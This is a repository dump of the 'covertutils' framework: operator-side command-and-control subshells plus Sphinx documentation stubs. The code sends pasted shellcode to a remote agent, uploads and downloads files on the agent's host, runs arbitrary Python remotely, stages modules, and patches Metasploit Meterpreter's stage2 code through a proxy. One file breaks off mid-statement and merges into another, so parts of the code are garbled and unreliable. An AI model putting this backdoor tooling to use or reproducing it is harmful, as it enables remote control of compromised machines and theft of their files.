/covertutils/shells/subshells/__init__.py: -------------------------------------------------------------------------------- 1 | # 2 | from covertutils.shells.subshells.simplesubshell import SimpleSubShell 3 | # 4 | from covertutils.shells.subshells.shellcodesubshell import ShellcodeSubShell 5 | # 6 | from covertutils.shells.subshells.pythonapisubshell import PythonAPISubShell 7 | # 8 | from covertutils.shells.subshells.controlsubshell import ControlSubShell 9 | # 10 | from covertutils.shells.subshells.filesubshell import FileSubShell 11 | ## 12 | from covertutils.shells.subshells.examplesubshell import ExampleSubShell 13 | 14 | from covertutils.shells.subshells.meterpretersubshell import MeterpreterSubShell 15 | 16 | from covertutils.shells.subshells.stagesubshell import StageSubShell # Causing circular dependencies 17 | -------------------------------------------------------------------------------- /covertutils/shells/subshells/examplesubshell.py: -------------------------------------------------------------------------------- 1 | from covertutils.shells.subshells import SimpleSubShell 2 | 3 | class ExampleSubShell ( SimpleSubShell ) : 4 | 5 | intro = """ 6 | This is an Example Shell. It has a custom prompt, and reverses all input before sending to the stage. 7 | """ 8 | def __init__( self, stream, handler, queue_dict, base_shell, ignore_messages = set(['X']), prompt_templ = " ExampleSubShell Stream:[{stream}]==> ") : 9 | SimpleSubShell.__init__( self, stream, handler, queue_dict, base_shell, ignore_messages, prompt_templ ) 10 | """A method that uses the `prompt_templ` argument 11 | to reformat the prompt 12 | (in case the `format()` {tags} have changed)""" 13 | self.updatePrompt() 14 | 15 | def default( self, line ) : 16 | command = line[::-1] # Reversing the user input string 17 | print( "Sending '%s' to the 'example' agent!" % command ) 18 | self.handler.preferred_send( command, self.stream ) 19 | -------------------------------------------------------------------------------- /covertutils/shells/subshells/filesubshell.py: -------------------------------------------------------------------------------- 1 | import cmd 2 | import re 3 | 4 | from covertutils.shells.subshells import SimpleSubShell 5 | 6 | 7 | def _response_manager( message, instance ) : 8 | if message == "ERR" : 9 | if instance.download : 10 | print( "Downloading '%s' failed" % instance.download ) 11 | elif instance.upload : 12 | print( "Uploading '%s' failed" % instance.upload ) 13 | else : 14 | print( "Unknown error" ) 15 | instance.upload= None 16 | instance.download= None 17 | return 18 | 19 | if message == "OK" : 20 | print( "File uploaded succesfully!" ) 21 | instance.upload= None 22 | return 23 | 24 | elif message.startswith("D:") : 25 | content = message.split(':',1)[-1] 26 | f = open(instance.download, 'wb') 27 | f.write( content ) 28 | f.close() 29 | print( "File downloaded!" ) 30 | instance.download = None 31 | else : 32 | print( "Not recognized response opcode" ) 33 | 34 | 35 | class FileSubShell ( SimpleSubShell ) : 36 | 37 | 38 | def __init__( self, stream, handler, queue_dict, base_shell, ignore_messages = set(['X']), prompt_templ = "=|{stream}]> ~ ") : 39 | # print( ShellcodeSubShell ) 40 | SimpleSubShell.__init__( self, stream, handler, queue_dict, base_shell, ignore_messages, prompt_templ ) 41 | self.shellcode_buffer = '' 42 | 43 | self.download = None 44 | self.uplaod = None 45 | 46 | self.message_function = _response_manager 47 | 48 | 49 | def default( self, line ) : 50 | print( "No such command" ) 51 | 52 | 53 | 54 | 55 | def do_download( self, line ) : 56 | # cmd, args, line = self.parseline(line) 57 | if not line : 58 | self.help_download() 59 | return 60 | 61 | args = line.split() 62 | remote = args[0] 63 | 64 | if len(args) == 1 : 65 | local = remote.split('/')[-1] 66 | else : 67 | local = args[1] 68 | 69 | self.download = local 70 | comm = 'D:' + remote 71 | SimpleSubShell.default( self, comm ) 72 | 73 | 74 | 75 | def help_download( self ) : 76 | print( "download []" ) 77 | print( "" ) 78 | 79 | def help_upload( self ) : 80 | print( "upload []" ) 81 | print( "" ) 82 | 83 | 84 | def do_upload( self, line ) : 85 | 86 | if not line : 87 | self.help_upload() 88 | return 89 | 90 | args = line.split() 91 | local = args[0] 92 | try : 93 | f = open(local,'rb') 94 | content = f.read() 95 | f.close() 96 | except : 97 | print( "Could not open '%s' file" % local ) 98 | return 99 | if len(args) == 1 : 100 | remote = local.split('/')[-1] 101 | else : 102 | remote = args[1] 103 | self.upload = local 104 | comm = ('U:%s:' % remote) + content 105 | SimpleSubShell.default( self, comm ) 106 | -------------------------------------------------------------------------------- /covertutils/shells/subshells/meterpretersubshell.py: -------------------------------------------------------------------------------- 1 | from covertutils.shells.subshells import SimpleSubShell 2 | 3 | # from covertutils.payloads.generic.meterpreter import stage2_patches 4 | import socket 5 | import threading 6 | from time import sleep 7 | 8 | import struct 9 | 10 | 11 | __select_replacement = ''' 12 | import select 13 | def dummy(*args, **kwargs) : 14 | if s.empty() : return [],[],[] 15 | return [s],[],[] 16 | select.select = dummy 17 | ''' 18 | 19 | stage2_patches = [ 20 | 21 | # ("PACKET_XOR_KEY_SIZE = 4", "PACKET_XOR_KEY_SIZE = 0"), 22 | ("DEBUGGING = False", "DEBUGGING = True"), 23 | ("#!/usr/bin/python", 'print "[!!!] METERPRETER passed control!"'), 24 | ("TRY_TO_FORK = True", "TRY_TO_FORK = False"), 25 | ("import select", __select_replacement), 26 | (' = ', '='), 27 | (', ',',') 28 | ] 29 | 30 | 31 | 32 | 33 | def meterpreter_proxy( proxy_socket, instance ) : 34 | print ("Started Meterpreter Proxy thread") 35 | b = 42231 36 | # b = 41116 37 | # b = 4096 38 | # b = 2048 39 | stage_sent = False 40 | while True : 41 | 42 | # print "recv'ing", 43 | resp = proxy_socket.recv(b) 44 | # print "recv()'d %d bytes of data'" % b 45 | # if resp : 46 | # print "[+] Received from Handler: " + resp.encode('hex') 47 | 48 | if "#!/usr/bin/python" in resp : 49 | print "[!]Injecting select.select bypass" 50 | resp2 = resp 51 | for patch in stage2_patches : # apply patches to source 52 | resp2 = resp2.replace(*patch) 53 | 54 | l = len(resp2) 55 | print "Final Length = %d" % l 56 | resp = struct.pack("", "exec") 47 | except Exception as e: 48 | print( "\t==== Local Syntax Check ====" ) 49 | print( "Problem: %s" % e ) 50 | print( "\tChecked code:" ) 51 | print( buffer_ ) 52 | buffer_ = '' 53 | print( "\t" ) 54 | return 55 | self.handler.preferred_send( buffer_, self.stream ) 56 | self.python_buffer = '' 57 | self.file_buffer = '' 58 | 59 | 60 | def default( self, line ) : 61 | 62 | if len(line) == 0 : 63 | self.indentation = False 64 | if self.python_buffer : 65 | self.sendPythonBuffer() 66 | return 67 | 68 | if line[0] == self.special_comm_char : 69 | if not self.indentation : 70 | self.specialCommand(line[1:]) 71 | return 72 | 73 | line = line.rstrip() 74 | self.python_buffer += line+'\n' 75 | if self.indentation or line[-1] == ':' : # indentation pending 76 | # print( line[-1] == ':' ) 77 | self.indentation = True 78 | 79 | if not self.indentation : 80 | self.sendPythonBuffer() 81 | return 82 | 83 | 84 | def postcmd( self, stop, line ) : 85 | self.updatePrompt( ) 86 | 87 | 88 | def updatePrompt( self ) : 89 | if self.indentation : 90 | self.prompt = self.prompt_templ.format( stream = self.stream, intent_str = self.intented_prompt ) 91 | else : 92 | self.prompt = self.prompt_templ.format( stream = self.stream, intent_str = self.unintented_prompt ) 93 | 94 | 95 | def emptyline( self ) : 96 | self.indentation = False 97 | self.default( '' ) 98 | 99 | 100 | 101 | 102 | # ===================== Special Commands ===================== 103 | def clearBuffer( self, line ) : 104 | self.python_buffer = '' 105 | print( "Buffer cleared!" ) 106 | 107 | def showStorage( self, line ) : 108 | print 109 | self.onecmd("import pprint; pprint.pprint (storage)") 110 | 111 | def loadFile( self, line ) : 112 | self.clearBuffer('') 113 | filename = line.strip().split()[0] 114 | if not filename : 115 | print( "No filename specified!" ) 116 | return 117 | try : 118 | with open(filename, 'r') as f : 119 | self.file_buffer += f.read() 120 | print( "File '%s' loaded!" % filename ) 121 | except IOError : 122 | print( "File '%s' doesn't exist!" % filename ) 123 | 124 | def showBuffer( self, line ) : 125 | if not self.file_buffer : 126 | print( "Buffer is empty" ) 127 | return 128 | print( self.ruler*20 ) 129 | print( self.file_buffer ) 130 | print( self.ruler*20 ) 131 | 132 | def appendFileBuffer( self, line ) : 133 | self.file_buffer += line + '\n' 134 | 135 | def sendFileBuffer( self, line ) : 136 | self.sendPythonBuffer( self.file_buffer ) 137 | 138 | 139 | def specialCommand( self, line ) : 140 | # line = line.strip() 141 | if not line : 142 | print( "No special command specified!" ) 143 | 144 | toks = line.split(None, 1) 145 | if not toks : 146 | print( "Available special commands:" ) 147 | print( '\n'.join(['\t'+self.special_comm_char+comm for comm in self.special_commands.keys()]) ) 148 | return 149 | comm = toks[0] 150 | arg_line = '' 151 | if len(toks) > 1 : 152 | arg_line = toks[1] 153 | 154 | try : 155 | self.special_commands[comm](arg_line) 156 | except KeyError: 157 | print( "Special command '%s' not found" % comm ) 158 | -------------------------------------------------------------------------------- /covertutils/shells/subshells/shellcodesubshell.py: -------------------------------------------------------------------------------- 1 | import cmd 2 | import re 3 | 4 | from covertutils.shells.subshells import SimpleSubShell 5 | 6 | try: 7 | raw_input # Python 2 8 | except NameError: 9 | raw_input = input # Python 3 10 | 11 | 12 | def format_shellcode( unformatted ) : 13 | 14 | ready = unformatted 15 | 16 | ready = ready.split('=')[-1] # in case shellcode[] = 'blah...' 17 | ready = ready.strip().replace('x','').replace('\n','') 18 | 19 | # taken from https://stackoverflow.com/questions/1007481/how-do-i-replace-whitespaces-with-underscore-and-vice-versa 20 | # Remove all non-word characters (everything except numbers and letters) 21 | ready = re.sub(r"[^\w\s]", '', ready) 22 | # Replace all runs of whitespace with a single dash 23 | ready = re.sub(r"\s+", '-', ready) 24 | 25 | ready = ready.strip() # strip after removing things 26 | ready = ready.decode('hex') # make it binary 27 | return ready 28 | 29 | 30 | def show( mixed_shellcode ) : 31 | 32 | print( "Pasted lines:" ) 33 | print( mixed_shellcode ) 34 | print( "" ) 35 | try : 36 | pure_shellcode = format_shellcode( mixed_shellcode ) 37 | print( "Length of %d bytes" % len(pure_shellcode) ) 38 | print( "" ) 39 | print( "Shellcode in HEX :" ) 40 | print( pure_shellcode.encode('hex') ) 41 | print( "" ) 42 | print( "Shellcode in BINARY :" ) 43 | print( pure_shellcode ) 44 | 45 | except TypeError: 46 | print( "Shellcode buffer could not be formatted" ) 47 | print( "Pasted half a line?" ) 48 | 49 | 50 | 51 | class ShellcodeSubShell ( SimpleSubShell ) : 52 | 53 | intro = '''This shell will properly format shellcode 54 | pasted from sources like "exploit-db.com" and "msfvenom"''' 55 | fire_word = 'GO' 56 | 57 | 58 | def __init__( self, stream, handler, queue_dict, base_shell, ignore_messages = set(['X']), prompt_templ = "[{stream}]> ") : 59 | # print( ShellcodeSubShell ) 60 | SimpleSubShell.__init__( self, stream, handler, queue_dict, base_shell, ignore_messages, prompt_templ ) 61 | self.shellcode_buffer = '' 62 | 63 | 64 | 65 | def default( self, line ) : 66 | print( "" ) 67 | print( "Type '%s' when done pasting..." % self.fire_word ) 68 | 69 | if line.strip() == self.fire_word : 70 | if not self.shellcode_buffer : 71 | print( "No shellcode is pasted" ) 72 | return 73 | 74 | pure_shellcode = format_shellcode( self.shellcode_buffer ) 75 | self.do_show('') 76 | if not self.confirm() : 77 | print( "Shellcode NOT sent..." ) 78 | print( "You can clear the buffer with 'clear'" ) 79 | return 80 | self.handler.preferred_send( pure_shellcode, self.stream ) 81 | self.shellcode_buffer = '' 82 | return 83 | 84 | self.shellcode_buffer += line+'\n' 85 | 86 | 87 | def confirm( self ) : 88 | option = raw_input("Send the shellcode over? [y/N] ") 89 | return option.lower() == 'y' 90 | 91 | 92 | def do_clear( self, line ) : 93 | self.shellcode_buffer = '' 94 | print( "Buffer cleared!" ) 95 | 96 | 97 | def do_show( self, line ) : 98 | print( self.ruler*20 ) 99 | show( self.shellcode_buffer ) 100 | print( self.ruler*20 ) 101 | -------------------------------------------------------------------------------- /covertutils/shells/subshells/simplesubshell.py: -------------------------------------------------------------------------------- 1 | import cmd 2 | 3 | from threading import Thread 4 | import logging 5 | 6 | from time import sleep 7 | 8 | def _print( str_, instance ) : 9 | print( str_ ) 10 | 11 | 12 | class SimpleSubShell ( cmd.Cmd ) : 13 | 14 | 15 | # message_function = _print 16 | 17 | def __init__( self, stream, handler, queue_dict, base_shell, ignore_messages = set(['X']), prompt_templ = "[{stream}]> ") : 18 | 19 | cmd.Cmd.__init__(self) 20 | 21 | self.stream = stream 22 | self.handler = handler 23 | self.queue_dict = queue_dict 24 | self.ignore_messages = ignore_messages 25 | self.prompt_templ = prompt_templ 26 | self.updatePrompt() 27 | self.base_shell = base_shell 28 | 29 | # input_preamp = "{id}.{stream}.input".format(id = handler.getOrchestrator().getIdentity(), stream = self.stream) 30 | orch_id = handler.getOrchestrator().getIdentity() 31 | log_preamp = "{id}.{stream}".format(id = orch_id, stream = self.stream) 32 | debug_preamp = "{}.debug".format(log_preamp) 33 | 34 | self.message_logger = logging.getLogger( log_preamp ) 35 | self.debug_logger = logging.getLogger( debug_preamp ) 36 | 37 | def log_func(message, instance) : 38 | self.message_logger.warn(message) 39 | 40 | self.message_function = log_func 41 | self.command_number = 0 42 | # print self.message_logger, self.debug_logger 43 | self.work_thr = Thread( target = self.__working_daemon ) 44 | self.work_thr.daemon = True 45 | self.work_thr.start() 46 | 47 | 48 | def __working_daemon( self ) : 49 | while True : 50 | self.queue_dict['condition'].acquire() 51 | self.debug_logger.warn("# of Chunks received: [%d]" % self.queue_dict['chunks']) 52 | self.debug_logger.warn("# of Messages received: [%d]" % self.command_number) 53 | if self.queue_dict['messages'].empty() : 54 | # print( "Waiting for Condition" ) 55 | self.queue_dict['condition'].wait() 56 | # Chunk arrived -- 57 | # print( "Condition met" ) 58 | message = self.queue_dict['messages'].get() 59 | self.command_number += 1 60 | # print( "Message acquired" ) 61 | if message not in self.ignore_messages : 62 | self.message_function( message, self ) 63 | # sleep(0.01) 64 | # self.message_logger.warn( message ) 65 | # print( "Message processed" ) 66 | self.queue_dict['messages'].task_done() 67 | # print( message not in self.ignore_messages ) 68 | self.queue_dict['condition'].release() 69 | # print( "Condition released" ) 70 | 71 | 72 | def precmd( self, line ) : 73 | # print( "%s" % line ) 74 | if not line : return line 75 | line_ = line.strip() 76 | # print( line_.startswith( self.base_shell.stream_preamp_char ) ) 77 | # print( line[1:] ) 78 | # self.message_logger.info( line ) 79 | if line_.startswith( self.base_shell.stream_preamp_char ) : 80 | try : 81 | self.base_shell.default(line_) 82 | return '' # don't run default() in this case 83 | except : 84 | self.base_shell.streamCharacterHelp() 85 | return line 86 | return line 87 | 88 | 89 | def default( self, line ) : 90 | # print( "Triggered %s for '%s'" % (self.stream, line) ) 91 | self.handler.preferred_send( line, self.stream ) 92 | 93 | 94 | def updatePrompt( self ) : 95 | self.prompt = self.prompt_templ.format( stream = self.stream ) 96 | 97 | 98 | def start( self ) : 99 | try : 100 | self.cmdloop() 101 | except KeyboardInterrupt : 102 | print 103 | pass 104 | 105 | def emptyline( self ) : return 106 | 107 | def do_EOF( self, *args ) : return 108 | -------------------------------------------------------------------------------- /covertutils/shells/subshells/stagesubshell.py: -------------------------------------------------------------------------------- 1 | import cmd 2 | import re 3 | import imp 4 | import traceback 5 | 6 | from covertutils.shells.subshells import SimpleSubShell # fallback shell 7 | from covertutils.handlers import StageableHandler # For the static method 8 | 9 | from covertutils.payloads import import_stage_from_module, import_stage_from_module_str 10 | 11 | 12 | 13 | class StageSubShell ( SimpleSubShell ) : 14 | 15 | def __init__( self, stream, handler, queue_dict, base_shell, ignore_messages = set(['X']), prompt_templ = " (-){stream}(+)> ") : 16 | SimpleSubShell.__init__( self, stream, handler, queue_dict, base_shell, ignore_messages, prompt_templ ) 17 | self.updatePrompt( ) 18 | 19 | def default( self, line ) : 20 | 21 | if not line : 22 | # usage 23 | return 24 | 25 | 26 | def __remoteLoadModule( self, stream_name, stage_obj ) : 27 | stage_message = StageableHandler.createStageMessage(stream_name, stage_obj['marshal']) 28 | self.handler.preferred_send( stage_message, StageableHandler.Defaults['stage_stream'] ) 29 | 30 | 31 | def __localLoadModule( self, stream_name, stage ) : 32 | 33 | try : 34 | shell_class = stage['shell'] 35 | except : 36 | shell_class = None 37 | # print( shell_class ) 38 | if shell_class == None : 39 | shell_class = SimpleSubShell 40 | kwargs = {} 41 | self.base_shell.addSubShell( stream_name, shell_class, kwargs ) 42 | 43 | 44 | def do_fload( self, line ) : 45 | 46 | if not line : 47 | # usage 48 | return 49 | toks = line.split() 50 | filename = toks[0] 51 | stream_name = ''.join(filename.split('/')[-1].split('.')[:-1]) # for /tmp/great.shell.stage.py : great.shell.stage 52 | # try : 53 | try : 54 | stage_mod = imp.load_source('stage', filename) 55 | stage_dict = import_stage_from_module( stage_mod ) 56 | self.__remoteLoadModule( stream_name, stage_dict ) 57 | self.__localLoadModule( stream_name, stage_dict ) 58 | except Exception as e: 59 | print( "File '%s' could not be loaded!" % filename ) 60 | traceback.print_exc() 61 | print( e ) 62 | return 63 | 64 | return 65 | 66 | 67 | def do_mload( self, line ) : 68 | 69 | if not line : 70 | # usage 71 | return 72 | toks = line.split() 73 | stage_mod_name = toks[0] 74 | stream_name = ''.join(stage_mod_name.split('.')[-1]) # for /tmp/great.shell.stage.py : great.shell.stage 75 | try : 76 | stage_dict = import_stage_from_module_str( stage_mod_name ) 77 | self.__remoteLoadModule( stream_name, stage_dict ) 78 | self.__localLoadModule( stream_name, stage_dict ) 79 | except Exception as e: 80 | print( "Module '%s' could not be loaded!" % stage_mod_name ) 81 | traceback.print_exc() 82 | print( e ) 83 | return 84 | return 85 | 86 | 87 | def help_fload( self ) : 88 | print( "fload usage:" ) 89 | print( "\tfload " ) 90 | print( "fload example:" ) 91 | print( "\tfload /tmp/code.py" ) 92 | 93 | 94 | def help_mload( self ) : 95 | print( "mload usage:" ) 96 | print( "\tmload " ) 97 | print( "mload example:" ) 98 | print( "\tmload covertutils.payloads.windows.shellcode" ) 99 | -------------------------------------------------------------------------------- /docs/covertutils.bridges.rst: -------------------------------------------------------------------------------- 1 | covertutils.bridges package 2 | =========================== 3 | 4 | Submodules 5 | ---------- 6 | 7 | covertutils.bridges.simplebridge module 8 | --------------------------------------- 9 | 10 | .. automodule:: covertutils.bridges.simplebridge 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | 16 | Module contents 17 | --------------- 18 | 19 | .. automodule:: covertutils.bridges 20 | :members: 21 | :undoc-members: 22 | :show-inheritance: 23 | -------------------------------------------------------------------------------- /docs/covertutils.crypto.algorithms.rst: -------------------------------------------------------------------------------- 1 | covertutils.crypto.algorithms package 2 | ===================================== 3 | 4 | Submodules 5 | ---------- 6 | 7 | covertutils.crypto.algorithms.__main__ module 8 | --------------------------------------------- 9 | 10 | .. automodule:: covertutils.crypto.algorithms.__main__ 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | covertutils.crypto.algorithms.crc32cyclingalgorithm module 16 | ---------------------------------------------------------- 17 | 18 | .. automodule:: covertutils.crypto.algorithms.crc32cyclingalgorithm 19 | :members: 20 | :undoc-members: 21 | :show-inheritance: 22 | 23 | covertutils.crypto.algorithms.cyclingalgorithm module 24 | ----------------------------------------------------- 25 | 26 | .. automodule:: covertutils.crypto.algorithms.cyclingalgorithm 27 | :members: 28 | :undoc-members: 29 | :show-inheritance: 30 | 31 | covertutils.crypto.algorithms.nullcyclingalgorithm module 32 | --------------------------------------------------------- 33 | 34 | .. automodule:: covertutils.crypto.algorithms.nullcyclingalgorithm 35 | :members: 36 | :undoc-members: 37 | :show-inheritance: 38 | 39 | covertutils.crypto.algorithms.standardcyclingalgorithm module 40 | ------------------------------------------------------------- 41 | 42 | .. automodule:: covertutils.crypto.algorithms.standardcyclingalgorithm 43 | :members: 44 | :undoc-members: 45 | :show-inheritance: 46 | 47 | 48 | Module contents 49 | --------------- 50 | 51 | .. automodule:: covertutils.crypto.algorithms 52 | :members: 53 | :undoc-members: 54 | :show-inheritance: 55 | -------------------------------------------------------------------------------- /docs/covertutils.crypto.keys.rst: -------------------------------------------------------------------------------- 1 | covertutils.crypto.keys package 2 | =============================== 3 | 4 | Submodules 5 | ---------- 6 | 7 | covertutils.crypto.keys.__main__ module 8 | --------------------------------------- 9 | 10 | .. automodule:: covertutils.crypto.keys.__main__ 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | covertutils.crypto.keys.cyclingkey module 16 | ----------------------------------------- 17 | 18 | .. automodule:: covertutils.crypto.keys.cyclingkey 19 | :members: 20 | :undoc-members: 21 | :show-inheritance: 22 | 23 | covertutils.crypto.keys.encryptionkey module 24 | -------------------------------------------- 25 | 26 | .. automodule:: covertutils.crypto.keys.encryptionkey 27 | :members: 28 | :undoc-members: 29 | :show-inheritance: 30 | 31 | covertutils.crypto.keys.standardcyclingkey module 32 | ------------------------------------------------- 33 | 34 | .. automodule:: covertutils.crypto.keys.standardcyclingkey 35 | :members: 36 | :undoc-members: 37 | :show-inheritance: 38 | 39 | 40 | Module contents 41 | --------------- 42 | 43 | .. automodule:: covertutils.crypto.keys 44 | :members: 45 | :undoc-members: 46 | :show-inheritance: 47 | -------------------------------------------------------------------------------- /docs/covertutils.crypto.rst: -------------------------------------------------------------------------------- 1 | covertutils.crypto package 2 | ========================== 3 | 4 | Subpackages 5 | ----------- 6 | 7 | .. toctree:: 8 | 9 | covertutils.crypto.algorithms 10 | covertutils.crypto.keys 11 | 12 | Module contents 13 | --------------- 14 | 15 | .. automodule:: covertutils.crypto 16 | :members: 17 | :undoc-members: 18 | :show-inheritance: 19 | -------------------------------------------------------------------------------- /docs/covertutils.datamanipulation.rst: -------------------------------------------------------------------------------- 1 | covertutils.datamanipulation package 2 | ==================================== 3 | 4 | Submodules 5 | ---------- 6 | 7 | covertutils.datamanipulation.adhocchunker module 8 | ------------------------------------------------ 9 | 10 | .. automodule:: covertutils.datamanipulation.adhocchunker 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | covertutils.datamanipulation.chunker module 16 | ------------------------------------------- 17 | 18 | .. automodule:: covertutils.datamanipulation.chunker 19 | :members: 20 | :undoc-members: 21 | :show-inheritance: 22 | 23 | covertutils.datamanipulation.compressor module 24 | ---------------------------------------------- 25 | 26 | .. automodule:: covertutils.datamanipulation.compressor 27 | :members: 28 | :undoc-members: 29 | :show-inheritance: 30 | 31 | covertutils.datamanipulation.datatransformer module 32 | --------------------------------------------------- 33 | 34 | .. automodule:: covertutils.datamanipulation.datatransformer 35 | :members: 36 | :undoc-members: 37 | :show-inheritance: 38 | 39 | covertutils.datamanipulation.stegoinjector module 40 | ------------------------------------------------- 41 | 42 | .. automodule:: covertutils.datamanipulation.stegoinjector 43 | :members: 44 | :undoc-members: 45 | :show-inheritance: 46 | 47 | covertutils.datamanipulation.stegoinjector2 module 48 | -------------------------------------------------- 49 | 50 | .. automodule:: covertutils.datamanipulation.stegoinjector2 51 | :members: 52 | :undoc-members: 53 | :show-inheritance: 54 | 55 | 56 | Module contents 57 | --------------- 58 | 59 | .. automodule:: covertutils.datamanipulation 60 | :members: 61 | :undoc-members: 62 | :show-inheritance: 63 | -------------------------------------------------------------------------------- /docs/covertutils.handlers.impl.rst: -------------------------------------------------------------------------------- 1 | covertutils.handlers.impl package 2 | ================================= 3 | 4 | Submodules 5 | ---------- 6 | 7 | covertutils.handlers.impl.extendableshell module 8 | ------------------------------------------------ 9 | 10 | .. automodule:: covertutils.handlers.impl.extendableshell 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | covertutils.handlers.impl.meterpretershell module 16 | ------------------------------------------------- 17 | 18 | .. automodule:: covertutils.handlers.impl.meterpretershell 19 | :members: 20 | :undoc-members: 21 | :show-inheritance: 22 | 23 | covertutils.handlers.impl.simpleshell module 24 | -------------------------------------------- 25 | 26 | .. automodule:: covertutils.handlers.impl.simpleshell 27 | :members: 28 | :undoc-members: 29 | :show-inheritance: 30 | 31 | covertutils.handlers.impl.standardshell module 32 | ---------------------------------------------- 33 | 34 | .. automodule:: covertutils.handlers.impl.standardshell 35 | :members: 36 | :undoc-members: 37 | :show-inheritance: 38 | 39 | 40 | Module contents 41 | --------------- 42 | 43 | .. automodule:: covertutils.handlers.impl 44 | :members: 45 | :undoc-members: 46 | :show-inheritance: 47 | -------------------------------------------------------------------------------- /docs/covertutils.handlers.multi.rst: -------------------------------------------------------------------------------- 1 | covertutils.handlers.multi package 2 | ================================== 3 | 4 | Submodules 5 | ---------- 6 | 7 | covertutils.handlers.multi.multihandler module 8 | ---------------------------------------------- 9 | 10 | .. automodule:: covertutils.handlers.multi.multihandler 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | 16 | Module contents 17 | --------------- 18 | 19 | .. automodule:: covertutils.handlers.multi 20 | :members: 21 | :undoc-members: 22 | :show-inheritance: 23 | -------------------------------------------------------------------------------- /docs/covertutils.handlers.rst: -------------------------------------------------------------------------------- 1 | covertutils.handlers package 2 | ============================ 3 | 4 | Subpackages 5 | ----------- 6 | 7 | .. toctree:: 8 | 9 | covertutils.handlers.impl 10 | covertutils.handlers.multi 11 | 12 | Submodules 13 | ---------- 14 | 15 | covertutils.handlers.basehandler module 16 | --------------------------------------- 17 | 18 | .. automodule:: covertutils.handlers.basehandler 19 | :members: 20 | :undoc-members: 21 | :show-inheritance: 22 | 23 | covertutils.handlers.buffering module 24 | ------------------------------------- 25 | 26 | .. automodule:: covertutils.handlers.buffering 27 | :members: 28 | :undoc-members: 29 | :show-inheritance: 30 | 31 | covertutils.handlers.dateable module 32 | ------------------------------------ 33 | 34 | .. automodule:: covertutils.handlers.dateable 35 | :members: 36 | :undoc-members: 37 | :show-inheritance: 38 | 39 | covertutils.handlers.functiondict module 40 | ---------------------------------------- 41 | 42 | .. automodule:: covertutils.handlers.functiondict 43 | :members: 44 | :undoc-members: 45 | :show-inheritance: 46 | 47 | covertutils.handlers.interrogating module 48 | ----------------------------------------- 49 | 50 | .. automodule:: covertutils.handlers.interrogating 51 | :members: 52 | :undoc-members: 53 | :show-inheritance: 54 | 55 | covertutils.handlers.responseonly module 56 | ---------------------------------------- 57 | 58 | .. automodule:: covertutils.handlers.responseonly 59 | :members: 60 | :undoc-members: 61 | :show-inheritance: 62 | 63 | covertutils.handlers.stageable module 64 | ------------------------------------- 65 | 66 | .. automodule:: covertutils.handlers.stageable 67 | :members: 68 | :undoc-members: 69 | :show-inheritance: 70 | 71 | 72 | Module contents 73 | --------------- 74 | 75 | .. automodule:: covertutils.handlers 76 | :members: 77 | :undoc-members: 78 | :show-inheritance: 79 | -------------------------------------------------------------------------------- /docs/covertutils.orchestration.rst: -------------------------------------------------------------------------------- 1 | covertutils.orchestration package 2 | ================================= 3 | 4 | Submodules 5 | ---------- 6 | 7 | covertutils.orchestration.orchestrator module 8 | --------------------------------------------- 9 | 10 | .. automodule:: covertutils.orchestration.orchestrator 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | covertutils.orchestration.simpleorchestrator module 16 | --------------------------------------------------- 17 | 18 | .. automodule:: covertutils.orchestration.simpleorchestrator 19 | :members: 20 | :undoc-members: 21 | :show-inheritance: 22 | 23 | covertutils.orchestration.stegoorchestrator module 24 | -------------------------------------------------- 25 | 26 | .. automodule:: covertutils.orchestration.stegoorchestrator 27 | :members: 28 | :undoc-members: 29 | :show-inheritance: 30 | 31 | covertutils.orchestration.streamidentifier module 32 | ------------------------------------------------- 33 | 34 | .. automodule:: covertutils.orchestration.streamidentifier 35 | :members: 36 | :undoc-members: 37 | :show-inheritance: 38 | 39 | 40 | Module contents 41 | --------------- 42 | 43 | .. automodule:: covertutils.orchestration 44 | :members: 45 | :undoc-members: 46 | :show-inheritance: 47 | -------------------------------------------------------------------------------- /docs/covertutils.payloads.generic.rst: -------------------------------------------------------------------------------- 1 | covertutils.payloads.generic package 2 | ==================================== 3 | 4 | Submodules 5 | ---------- 6 | 7 | covertutils.payloads.generic.control module 8 | ------------------------------------------- 9 | 10 | .. automodule:: covertutils.payloads.generic.control 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | covertutils.payloads.generic.echo module 16 | ---------------------------------------- 17 | 18 | .. automodule:: covertutils.payloads.generic.echo 19 | :members: 20 | :undoc-members: 21 | :show-inheritance: 22 | 23 | covertutils.payloads.generic.example module 24 | ------------------------------------------- 25 | 26 | .. automodule:: covertutils.payloads.generic.example 27 | :members: 28 | :undoc-members: 29 | :show-inheritance: 30 | 31 | covertutils.payloads.generic.file module 32 | ---------------------------------------- 33 | 34 | .. automodule:: covertutils.payloads.generic.file 35 | :members: 36 | :undoc-members: 37 | :show-inheritance: 38 | 39 | covertutils.payloads.generic.info module 40 | ---------------------------------------- 41 | 42 | .. automodule:: covertutils.payloads.generic.info 43 | :members: 44 | :undoc-members: 45 | :show-inheritance: 46 | 47 | covertutils.payloads.generic.meterpreter module 48 | ----------------------------------------------- 49 | 50 | .. automodule:: covertutils.payloads.generic.meterpreter 51 | :members: 52 | :undoc-members: 53 | :show-inheritance: 54 | 55 | covertutils.payloads.generic.portfwd module 56 | ------------------------------------------- 57 | 58 | .. automodule:: covertutils.payloads.generic.portfwd 59 | :members: 60 | :undoc-members: 61 | :show-inheritance: 62 | 63 | covertutils.payloads.generic.pythonapi module 64 | --------------------------------------------- 65 | 66 | .. automodule:: covertutils.payloads.generic.pythonapi 67 | :members: 68 | :undoc-members: 69 | :show-inheritance: 70 | 71 | covertutils.payloads.generic.shell module 72 | ----------------------------------------- 73 | 74 | .. automodule:: covertutils.payloads.generic.shell 75 | :members: 76 | :undoc-members: 77 | :show-inheritance: 78 | 79 | covertutils.payloads.generic.shellprocess module 80 | ------------------------------------------------ 81 | 82 | .. automodule:: covertutils.payloads.generic.shellprocess 83 | :members: 84 | :undoc-members: 85 | :show-inheritance: 86 | 87 | covertutils.payloads.generic.stdapi module 88 | ------------------------------------------ 89 | 90 | .. automodule:: covertutils.payloads.generic.stdapi 91 | :members: 92 | :undoc-members: 93 | :show-inheritance: 94 | 95 | 96 | Module contents 97 | 